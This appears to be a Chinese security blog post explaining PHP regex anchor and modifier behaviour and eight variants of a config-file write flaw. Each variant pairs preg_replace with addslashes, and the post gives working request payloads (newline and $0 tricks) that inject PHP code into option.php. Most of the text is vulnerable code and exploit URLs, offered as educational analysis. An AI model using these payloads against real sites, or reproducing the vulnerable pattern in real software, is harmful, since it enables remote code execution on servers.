前言
今天p牛在小密圈总结了8种配置文件写入问题,在去年的高校运维赛中,我自己也利用其中的一种变种成功的非预期getshell。这种配置文件写入操作多存在于后台,并且也是很常见的,利用方式很有意思,p牛仅写了大体思路,在这里我想仔细分析一下。
正则表达式问题
最早学正则的时候肯定就接触
^
和$
两个字符了,大部分开发者使用这两个界定符本意是匹配"字符串的开头和结尾",但这两个界定符在正则里原本的意思是"行的开头和结尾",这就出现了一些差异。
正则安全中关于首尾界定符的一些小细节
m修饰符
/m
修饰符表示多行匹配, multi-line
表示按行来匹配正则,可以理解为,将待匹配的文本用换行符分割后,每一部分都对其进行正则匹配,并将结果用OR运算来计算,得出最终结果。
<?php
if(preg_match('/^a[a-z]+z$/m', $_GET['input'])) {
echo$_GET['input'];
}
第一行通过匹配即使后面匹配不上也会返回1,因此这里我们可以使用 %0a
换行符绕过。
s修饰符
根据p牛文章中所述,官方文档中 single-line的意思是将待匹配的文本视为一行,换行符不再作为"换行"的标志
是错误的,正确的描述应该是 s并不能指定正则是否是single-line,因为PCRE正则默认情况下就是single-line,而s的意思只是".是否能匹配上换行"
。
因为
<?php
var_dump(preg_match('/^a[a-z]+z$/', "abbz\nccz"));//结果是0。说明这里并不是multi-line
?>
<?php
var_dump(preg_match('/^a.+z$/', "abbz\nccz"));//结果是0。说明.没匹配上\n
?>
<?php
var_dump(preg_match('/^a.+z$/s', "abbz\nccz"));//结果是1,说明.匹配上了\n
因此在没有m和s修饰符的情况下,默认将待匹配的文本视为一行,且 .
不能匹配"换行"。
- 不加s或m修饰符 ->
single line
,但.
不能匹配换行符 - 单独加s修饰符 ->
single line
,且.
匹配包括换行符在内的所有字符 - 单独加m修饰符 ->
multi line
- 同时加m和s两个修饰符 ->
multi line
,且.
匹配包括换行符在内的所有字符
$匹配换行问题
在 multi-line
下,因为是多行模式,所以 $
可以匹配每一行的结尾,且不会匹配换行符。
在 single-line
下(根据上面可知,包括 /s
和同时没有 /ms
),将整个文本视为一行,所以 $
匹配的是文本的结尾,且包括结尾的换行符。
<?php
var_dump(preg_match('/^a[a-z]+z$/', "abbbz\n"));//返回1
例如Apache换行解析漏洞:因为 $
能匹配 \n
,所以上传 shell.php\n
仍然可以让Apache解析PHP文件。
ps:Orz!p牛tql,也许这才是安研吧。
经典写配置漏洞与几种变形
正则贪婪模式、无s单行模式:
<?php
$api = addslashes($_GET['api']);
$file = file_get_contents('./option.php');
$file = preg_replace("/\\\$API = '.*';/", "\$API = '{$api}';", $file);
file_put_contents('./option.php', $file);
攻击方法:利用换行符绕过正则,第一次写入webshell,第二次使之逃逸。分别发送如下两个请求,即可写入phpinfo。
http://localhost:9090/update.php?api=aaaaa%27;%0aphpinfo();//
<?php
$API = 'aaaaa\';
phpinfo();//';
http://localhost:9090/update.php?api=aaaaa
<?php
$API = 'aaaaa';
phpinfo();//';
可以看到由于默认情况下 .
不会匹配换行符,因此我们可以第一次在文件中写入换行符,第二次由于 .
匹配不到换行符,所以会匹配到转义后的 \'
,第二次将 aaaaa\
替换为正常字符串,从而导致单引号逃逸。
单行模式
<?php
$api = addslashes($_GET['api']);
$file = file_get_contents('./option.php');
$file = preg_replace("/\\\$API = '.*';/s", "\$API = '{$api}';", $file);
file_put_contents('./option.php', $file);
攻击方法:利用正则替换的方式,第二次用 $0
或 \0
引入单引号,导致第一次传入的 phpinfo
逃逸。
http://localhost:9090/update.php?api=;phpinfo();
<?php
$API = ';phpinfo();';
http://localhost:9090/update.php?api=$0
<?php
$API = '$API = ';phpinfo();';';
在 /s
模式下, .
会匹配换行符,因此上面的方法无法使用。
这里使用了 $0
,也就是完整的模式或匹配文本。
从而把 $API = ';phpinfo();'
引入,闭合掉前后的单引号,导致 phpinfo();
逃逸,思路好秀。
基础非贪婪和单行非贪婪
<?php
$api = addslashes($_GET['api']);
$file = file_get_contents('./option.php');
$file = preg_replace("/\\\$API = '.*?';/", "\$API = '{$api}';", $file);
file_put_contents('./option.php', $file);
?>
仅匹配到第一个单引号后,因此payload同第一种方式相同,可以使用换行也可以不使用。
<?php
$API = 'aaaaa';phpinfo();//';
单行非贪婪
<?php
$api = addslashes($_GET['api']);
$file = file_get_contents('./option.php');
$file = preg_replace("/\\\$API = '.*?';/s", "\$API = '{$api}';", $file);
file_put_contents('./option.php', $file);
同理,只不过使用了 /s
修饰符,p牛文章中说不能使用换行符,其实还是可以使用换行符的,因为是非贪婪模式,匹配到第一个单引号就停止了。payload同上,可以使用换行也可以不使用。
define基础版
<?php
$api = addslashes($_GET['api']);
$file = file_get_contents('./option.php');
$file = preg_replace("/define\('API', '.*'\);/", "define('API', '{$api}');", $file);
file_put_contents('./option.php', $file);
同第一种大同小异,只需要多个括号。
http://127.0.0.1:999/file.php?api=aaaaa%27);%0aphpinfo();//
<?php
define('API', 'aaaaa\');
phpinfo();//');
http://127.0.0.1:999/file.php?api=aaaaa
<?php
define('API', 'aaaaa');
phpinfo();//');
define单行版
<?php
$api = addslashes($_GET['api']);
$file = file_get_contents('./option.php');
$file = preg_replace("/define\('API', '.*'\);/s", "define('API', '{$api}');", $file);
file_put_contents('./option.php', $file);
如果用第二种攻击方法,将会导致"插坏"的情况出现,因为引入了无法控制的单引号。
<?php
define('API', 'define('API', ';phpinfo();');');
攻击方法:因为 preg_replace
在替换的时候会吃掉转义符,利用这个特点,即可引入单引号。
http://localhost:9090/update.php?api=aaa\%27);phpinfo();//
替换前: aaa\\\');phpinfo();//
替换后: aaa\\');phpinfo();//
<?php
define('API', 'aaa\\');phpinfo();//');
这个方法可以通杀这篇文章里所有的版本。
define基础版非贪婪模式
<?php
$api = addslashes($_GET['api']);
$file = file_get_contents('./option.php');
$file = preg_replace("/define\('API', '.*?'\);/", "define('API', '{$api}');", $file);
file_put_contents('./option.php', $file);
同基础,可有换行也可无
define单行非贪婪模式
<?php
$api = addslashes($_GET['api']);
$file = file_get_contents('./option.php');
$file = preg_replace("/define\('API', '.*?'\);/s", "define('API', '{$api}');", $file);
file_put_contents('./option.php', $file);
http://localhost:9090/update.php?api=aaaa%27);phpinfo();//
http://localhost:9090/update.php?api=aaaa
后记
原以为搞懂会很复杂,最后发现跟举一反三差不多。